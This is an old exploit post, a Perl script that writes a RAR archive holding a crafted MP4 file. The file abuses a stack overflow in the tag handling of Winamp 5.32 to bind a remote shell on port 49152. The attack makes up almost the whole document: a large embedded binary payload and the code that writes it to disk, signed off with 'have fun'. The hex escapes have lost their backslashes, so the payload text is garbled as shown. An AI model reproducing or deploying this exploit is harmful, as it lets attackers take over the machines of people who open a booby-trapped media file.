nullsoft-overflow.txt
Posted on 09 December 2007
#!/bin/perl # # Nullsoft Winamp MP4 tags Stack Overflow # # 0-day discovered and exploited by SYS 49152 # # Tested on win XP SP2 ENG # Tuned for Nullsoft Winamp 5.32 d.i. # Shell on port 49152 # # usage: # well, not much fun for you kids here .. # to get the shell you have to use ALT+3 and press UPDATE. # Instead this one is VERY interesting for the exploiters around.. # this is an unicode sploit where in addition about half # of the 0x0-0xff range can't be used.. # I'm quite curious to see if someone understands how I did.. # if this is the case drop me a mail with the magic word # to gforce(put the @ here)operamail(put the . here)com # # btw # due to some complaints by some kids that were having serious # problems in using winzip, this time I tried with winrar :-) # # #update: #the latest 5.5 seems patched. #the winamp version 5.32 reflects the date when I last updated #this code, 'cause I exploited this one more than an year ago. #I see that marsu exploited the same bug about six months ago, #when I did the big mistake to show this one to some "friends".. #I'm sure that marsu can even give the details on how this bug works :-) # begin binary data: my $rar_data = # code 724983 "x52x61x72x21x1Ax07x00xCFx90x73x00x00x0Dx00x00". "x00x00x00x00x00xBFx95x74x20x80x3Cx00x5Ax04x00". "x00x70x09x00x00x02x0Bx7CxFBx08xB3xB0x24x36x1D". "x33x1Cx00x20x00x00x00x53x59x53x5Fx34x39x31x35". "x32x5Fx4Dx50x34x5Fx66x6Fx72x5Fx77x69x6Ex61x6D". "x70x2Ex6Dx70x34x0Cx1Dx51x10x8Dx0FxCDx81x1Cx8A". "x25xAEx74x6Cx6Cx18xC6xDEx86xF5x9Cx64xDDx9BxB3". "x66xF3x93x84xE7x14xE1xBBx3Ex0Ax4Ex31x1AxDExC8". "xC4xD9xADxA7xA4x73xA8x33xE0xD8x33xE4xF1x98xF4". "x6Dx90x0Cx03x03x00xD0x7Bx06x31x8FxE2x44xB5x4E". "x93x94xE1x22x51x45x03x0CxCCx30x18x66x7Fx0Bx16". "xE0x0Dx83xC1xD8x3Ex3BxBBx12x93xF8x0DxACxC5x79". "x77xEAxAAxF5x7Cx78x5Ex7Fx35x74xBDx75x5Ex55xF1". "xF5x2FxDExF5xDDx5DxDDx25x4AxF8xD2xBEx16x92x04". "x17xDFxB2xACxDCxDDx0Ex6Dx06x62xADx0CxACx93x92". "x0FxCExAFxCBxA1xCBxFDx19x08x10x7Bx25xA0xBAx9E". "xC5xEFx6BxF1xE9x70xFFx7CxFEx14x16x3Bx81xB6xFB". "xECxFBxF2x55xA8x07xDFxA5x57x80xE7x63x1Dx63xFD". "xCCxCFxB3xA5x59x2Ax73xD4x67x67x66x7Ax0Ex6FxBD". "xB5x39x9Ex25x60xD8x90x6Fx0Ax85x56x55xFEx4Ax85". "x6Ax3Dx08xABx6FxF8x67xABx3AxBFx8BxBBxF3x79xD4". "x66x77xCExA3xA9xDBx1Bx21x50x08xF5x3DxCAxF2xEF". "x7Dx5DxE4xFDx9ExE7x5FxB5xD8x4FxDDxF9xFEx4Fx8F". "xEBx4FxD6x4Fx56x08xC6x0AxBAxB0xBBx75xA1xC8x1D". "xCExE1x32x77x29x36x5BxFCx04x58xCDx8Bx68xCCxD9". "x51x8Dx08x41xC2xDFx21xE3xFEx47xB2x0Dx75x2Cx7E". "x09xA5x78xD6x95x10x42x38x56xD5xD6xDFx9Fx3Bx74". "x8Ex2Ex32xD8x42x25xDBx22x75x96xDBx41x48x6AxFE". "x94x56xB3xE3xADxA5x3Ax25x36xACxEAxC5x8Bx4Ax6B". "x32xF9xD9xFDx2Cx2Fx6Fx48xD9xAFxE8x44xE2x1Dx9C". "x8Ax9Ex49x57x99x08x57x95xF9x0CxDAx97xA4xB4x96". "x4ExCCx63xA8x56x9Bx03xF6x3DxE1xA2x95x20x33xC0". "x60x54xD7x33xF7x6DxEBx13xFFx64xC6x94x45xA6x34". "xD8x23x99xA0xB2xE3x41x58x16xE9x92x30xB4xE0x4D". "x26x1Cx71xDDxBExA2x24xDAx30xA4x51xB5xA8x0CxEE". "xB0xD2xCBx75x72xC7x70xE8x6Fx71x56xF2xCBxAAxF1". "xD9xF2xC9xA8xDBx4Ax78x9Ax3Dx10x84x68x7Ax63xEC". "x87xFAx84x63x79x46xEBxBCxA1x31xC1xE0x3BxA1x2D". "xD7x32xCBxCExC0x0Fx40x2Cx9Ex33x3Bx4DxF1x91xD7". "x0FxB0x11xF6xC8x2Ex16xE8x1Ax47x08xE2x46xC7x23". "x00x8Ax65xB0x63x61x39x68x36x47x24xC2xDAxE9x07". "xFBx80x43x46x97x40x1Bx6AxE0x3AxBCxEEx7Bx5Ax60". "x66x4Cx10xB7xF3x89x99x28x13x38x01x1Ex00x65x70". "x3Ex01xA2x9Ex8Dx52x43x72x63x5Ax0Fx1Ex96xD5x89". "xECx3Fx2DxBBx6Ex8Bx60x9Bx09x9Fx26x8Fx41x8Fx74". "xE7xCAxDExA6x28xB4x75x75x2Ax31xFCx8Cx0FxC9x4A". "x00x86xCCxDExB9xBExD5xC5xE5x02x8ExA1x09xE1x32". "x7Cx74x38xB5xE7xC9x7Cx0Dx6Dx37xB4xF8x26xD4x7A". "x21x16x85xC3x97xDEx85xBExA5x0Ex68x28xAAx02xB5". "x04xF6x3Cx6Dx10x3BxDCx6Fx58x13x41x6Bx86x05xDC". "xB4xDDx1AxEBx68x8Ex00xE7xC5x66x87x1Dx37x57x09". "x0Ax1Cx6Cx4Cx14x98xF8x69x79x84xB8xB7x7Cx46x93". "x0Dx0DxB7xC5xC1xC0x46x99x36x1Ax2Cx2Cx2Ex67x1D". "x1Ax2Cx54x56x92x14x58x16x5Ax34xB7xF8x1DxFFx5F". "x90xEFx25xEBxCDx5CxC0x05xF1x7Ex8Dx22x5Cx7Cx7C". "x4BxF4x58xDDx54x58x37x70x04x69x53x58x58x38x77". "x55xA4x06x0Ex4Dx8Cx93x07x1Bx09x1Fx4Ex1Ex43xD2". "xECx9AxDCxA5xBFxC2x44x9AxBEx6Ex86x9FxEDxF5xF9". "x0ExB1xEExF5xFBx1ExF7x67xB5xEFxF6xFEx0ExE7xFE". "x6DxC8xAFx2CxA3xAFx7Fx31xA9xE8xB8x49xE6x7Cx54". "x91x8Dx9Dx32x9AxE9xD6x66xA7xD2x87x8Cx8ExC7x39". "x4Ex5Ex55x8FxCAxB7x43x05x3Fx17xCCxB0x96xA2x98". "xC5x91x42x3AxA1x16x0Dx57x9Bx66xF1x6Bx95x18x32". "x57xB8xB4x1Dx15x01xC5x4DxD8x26x41x90x01x09x6E". "x1Fx48x24x43x84x40xACx4Ex6BxB9xCCxE7x5AxC2xA6". "xDDxC1x8Fx22x55x77x34x97x93x6Bx6CxCExAExF6x5C". "x14xE6x28x0Dx15x2Ex01x81xB2x25x6Cx51xE1x3Bx2E". "x1Bx43xD9x86x5Cx25xF4x74x84x35xBAxC3x77xECx92". "xF4x48xD4xE3xA6xD2x38x3AxB3x52x3ExF5x49x11xA9". "x32x89xC8xDFx8CxDEx10xC8x73x2Cx05x47xA1xB2x4B". "x0Dx5Ex59xCFxE9x14x1Ax57x1Dx02x7FxD4x97x13xF7". "x77x70xD6xD7xA1x31x68xBDx9Cx00xC9xFCx75x0Bx6F". "xC2x50x4BxEFx09xAAx09x9CxB8xDBx64xF0xAFx38x08". "xD9xC1xD3x5Dx6Bx30x16xB4x68xC5xC7xD2x2Ex4CxAB". "x75xCExC5x81x0ExBBx7Ex83x2DxC3x35x16x10xD1x79". "x63x2Ex1DxC2xE9xEFx9Bx96x0Ax52xF5xA4x35x5Cx63". "xD8xC6x1Ex55xEExF8x7DxDEx0Fx09xD4x20x4ExAFx3F". "x2ExE8xE9x0Ex8Fx55x13xE4xA9xF1x65xFFxC2xF4xAA". "xD5x67x66x9Cx90x9Dx08x8ExDEx26x46x72x9BxBFx97". "x18x1ExAAx9Fx69x50x01xFFx10xC4x3Dx7Bx00x40x07". "x00"; # size = 1201 bytes open(code, ">unrarme.rar") || die "Can't Write temporary File "; binmode (code); print code $rar_data; close (code); print " File ready, have fun.. ";
